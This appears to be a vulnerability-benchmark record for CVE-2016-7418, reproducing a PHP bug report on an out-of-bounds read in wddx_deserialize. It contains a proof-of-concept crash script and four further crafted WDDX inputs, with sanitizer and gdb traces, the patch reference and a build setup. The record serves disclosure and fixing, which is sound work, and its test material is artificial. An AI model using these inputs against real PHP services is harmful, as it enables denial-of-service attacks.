Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2016-7418
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=73065
## Description:
PHP Bug ID: 73065
Summary: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
Status: Closed
PHP Version: 5.6.25
Assigned: stas (profile)
CVE-ID: 2016-7418

Description:
Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize. 
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.

Test script:
---------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <var Name="name">
                <boolean value="keliu"></boolean>
            </var>
            <var name="1111">
                <var name="2222">
                    <var name="3333"></var>
                </var>
            </var>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
    (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
    #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
    #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
    #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
    #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
    #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
    #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
    #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
    #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
    #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
    #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
    #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
    #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x449578 in _start (php-src/sapi/cli/php+0x449578)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING

Comments:

[Comment 1] [2016-09-12 03:57 UTC] stas@php.net
Was not able to reproduce in previous versions, master is not a released version.

[Comment 2] [2016-09-12 04:51 UTC] stackexploit at gmail dot com
Hello, I can reproduce it with PHP 7.0.10. It's the current stable version according to http://php.net/downloads.php .

worker@ubuntu:~/Desktop/repo/php-7.0.10$ ./sapi/cli/php wddx_null.php 
ASAN:DEADLYSIGNAL
=================================================================
==33608==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
(pc 0x00000046ef7c bp 0x7ffcfff765b0 sp 0x7ffcfff75d30 T0)
    #0 0x46ef7b in __interceptor_strcmp.part.24 (php-7.0.10/sapi/cli/php+0x46ef7b)
    #1 0xaacea4 in php_wddx_push_element php-7.0.10/ext/wddx/wddx.c:791:9
    #2 0x7f866498d67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7f866498e38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7f866498fcad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7f8664990404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7f866499270a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xaaa3e7 in php_wddx_deserialize_ex php-7.0.10/ext/wddx/wddx.c:1086:2
    #8 0xaa3a1a in zif_wddx_deserialize php-7.0.10/ext/wddx/wddx.c:1304:2
    #9 0xf9aab9 in ZEND_DO_ICALL_SPEC_HANDLER php-7.0.10/Zend/zend_vm_execute.h:586:2
    #10 0xe45c3b in execute_ex php-7.0.10/Zend/zend_vm_execute.h:417:7
    #11 0xe4691b in zend_execute php-7.0.10/Zend/zend_vm_execute.h:458:2
    #12 0xcdd86e in zend_execute_scripts php-7.0.10/Zend/zend.c:1427:4
    #13 0xabcf35 in php_execute_script php-7.0.10/main/main.c:2494:14
    #14 0x1045d46 in do_cli php-7.0.10/sapi/cli/php_cli.c:974:5
    #15 0x1043270 in main php-7.0.10/sapi/cli/php_cli.c:1344:18
    #16 0x7f86632a682f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x448958 in _start (php-7.0.10/sapi/cli/php+0x448958)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-7.0.10/sapi/cli/php+0x46ef7b) in __interceptor_strcmp.part.24
==33608==ABORTING
Links: http://php.net/downloads.php

[Comment 3] [2016-09-12 05:22 UTC] stas@php.net
The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:

   if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {

The problem is that the loop just above it is:

  if (atts) for (i = 0; atts[i]; i++) {

so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.

[Comment 4] [2016-09-12 05:27 UTC] stas@php.net
I also manually run through the code with the debugger and was not able to reproduce any problem, or see any null value in php_wddx_push_element. I suspect it's either a bug in AddressSanitizer or something is very wrong with your build.

[Comment 5] [2016-09-12 06:15 UTC] stackexploit at gmail dot com
Hi, I debugged this issue and confirmed it exits. The information given by AddressSanitizer is wired. In fact it's not a NULL pointer dereference issue but an invalid pointer reference issue.


(gdb) r /path/to/poc/wddx_null.php 
Starting program: /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php /path/to/poc/wddx_null.php

Breakpoint 1, php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:791
791   if (atts) for (i = 0; atts[i]; i++) {
(gdb) n
792    if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$12 = 0
(gdb) p atts[i]
$13 = (const XML_Char *) 0xcf8699 "Name"

--------------------------------------------------------------------------------------
i = 0
atts[i] = "Name" (0xcf8699)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) != 0 and the remained conditions will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791   if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$15 = 0
(gdb) n
792    if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$16 = 1
(gdb) p atts[i]
$17 = (const XML_Char *) 0xcf783c "name"

--------------------------------------------------------------------------------------
i = 1
atts[i] = "name" (0xcf783c)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) == 0 and the remained conditions will be checked.
So executing atts[++i].
Here i equals 2 now. 

(gdb) x/20xw atts
0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000
0xcf6e40: 0x00000000 0x00000000 0x61507801 0x74656b63
0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20
0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477
0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428

However atts[2] == 0, so the remained condition will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791   if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$18 = 2
(gdb) n
792    if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$19 = 3
(gdb) p atts[i]
$21 = (const XML_Char *) 0x74656b6361507801 <error: Cannot access memory at address 0x74656b6361507801>
(gdb) x/40xw atts
(gdb) x/20xw atts
0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000
0xcf6e40: 0x00000000 0x00000000 [0x61507801 0x74656b63]  --> atts[3]
0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20
0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477
0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428

--------------------------------------------------------------------------------------
When executing the for-loop, firstly executing i++, then i equals 3.
Now atts[i] is not NULL! Only atts[2] is NULL but it's not checked in the for-loop.
Please notice that atts[2] was checked in the if statement!

Now atts[3] points to 0x74656b6361507801. When calling the strcmp function, the process
will receive signal SIGSEGV because the address cannot be read.
--------------------------------------------------------------------------------------



(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801 8387227955626014721

(gdb) x/20xb $rdi
0x74656b6361507801: Cannot access memory at address 0x74656b6361507801

(gdb) bt
#0  __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1  0x000000000060ee81 in php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:792
#2  0x00007ffff7bb6680 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#3  0x00007ffff7bb738c in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#4  0x00007ffff7bb8cae in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#5  0x00007ffff7bb9405 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#6  0x00007ffff7bbb70b in XML_ParseBuffer () from /lib/x86_64-linux-gnu/libexpat.so.1
#7  0x0000000000610c05 in php_wddx_deserialize_ex (
    value=0x7ffff4282018 "<?xml version='1.0' ?>\r\n    <!DOCTYPE et SYSTEM 'w'>\r\n    <wddxPacket ven='1.0'>\r\n        <array>\r\n", ' ' <repeats 12 times>, "<var Name=\"name\">\r\n", ' ' <repeats 16 times>, "<boolean value=\"keliu\"></boolean>\r\n", ' ' <repeats 12 times>, "</var>\r"..., 
    vallen=391, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1087
#8  0x00000000006119f5 in zif_wddx_deserialize (execute_data=0x7ffff42140f0, return_value=0x7ffff42140c0)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1305
#9  0x000000000074fb3b in ZEND_DO_ICALL_SPEC_HANDLER () at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:586
#10 0x000000000074e3b8 in execute_ex (ex=0x7ffff4214030) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:414
#11 0x000000000074ecab in zend_execute (op_array=0x7ffff4283000, return_value=0x0) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:458
#12 0x00000000006be044 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend.c:1427
#13 0x0000000000616881 in php_execute_script (primary_file=0x7fffffffcb50) at /home/worker/Desktop/repo/php-7.0.10/main/main.c:2494
#14 0x000000000082a37c in do_cli (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:974
#15 0x000000000082b625 in main (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:1344
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

[Comment 6] [2016-09-12 06:21 UTC] stackexploit at gmail dot com
> [2016-09-12 05:22 UTC] stas@php.net
> The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:
>    if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
> The problem is that the loop just above it is:
>   if (atts) for (i = 0; atts[i]; i++) {
> so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.

Here is my answer.

790  if (atts) for (i = 0; atts[i]; i++) {
791      if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792          if (stack->varname) efree(stack->varname);
793          stack->varname = estrdup((char *)atts[i]);
794          break;
795      }
796  }

atts[0] = 0x0000000000cf8699  "Name"
atts[1] = 0x0000000000cf783c  "name"   EL_NAME
atts[2] = 0x0000000000000000  NULL
atts[3] = 0x74656b6361507801  ????

atts[2] was not checked in the for-loop but in the if statement. So strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.

[Comment 7] [2016-09-12 06:27 UTC] stackexploit at gmail dot com
OS: Ubuntu 16.04 LTS 64-bit.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801 8387227955626014721

>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'

[Comment 8] [2016-09-12 06:44 UTC] stackexploit at gmail dot com
There are other four similar issues in function php_wddx_push_element.

------------
1. Line 740
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <char Name="code">
                <boolean value="keliu"></boolean>
            </char>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
2. Line 758
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <boolean Name="value">
                <boolean value="keliu"></boolean>
            </boolean>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
3. Line 804
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <recordset Name="fieldNames">
                <boolean value="keliu"></boolean>
            </recordset>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
4. Line 838
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <field Name="name">
                <boolean value="keliu"></boolean>
            </field>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

[Comment 9] [2016-09-12 07:21 UTC] stas@php.net
OK, I see now what's going on here. AddressSanitizer message was misleading and my version of xmllib passes it with bunch of zeroes. Now I understand the issues, thanks.

[Comment 10] [2016-09-12 07:35 UTC] stas@php.net
The fix is in security repo as bbaf784f8d213e201baf67e861f20b38c6e87d3b and in https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc
Links: https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc

[Comment 11] [2016-09-12 07:36 UTC] stas@php.net
please verify

[Comment 12] [2016-09-12 08:42 UTC] stackexploit at gmail dot com
I've verified that the patch works fine. Thanks.

Commit References:
bbaf784f8d213e201baf67e861f20b38c6e87d3b

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout f5a9592ad8d2b60cabbaff00662477528ecefb48
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: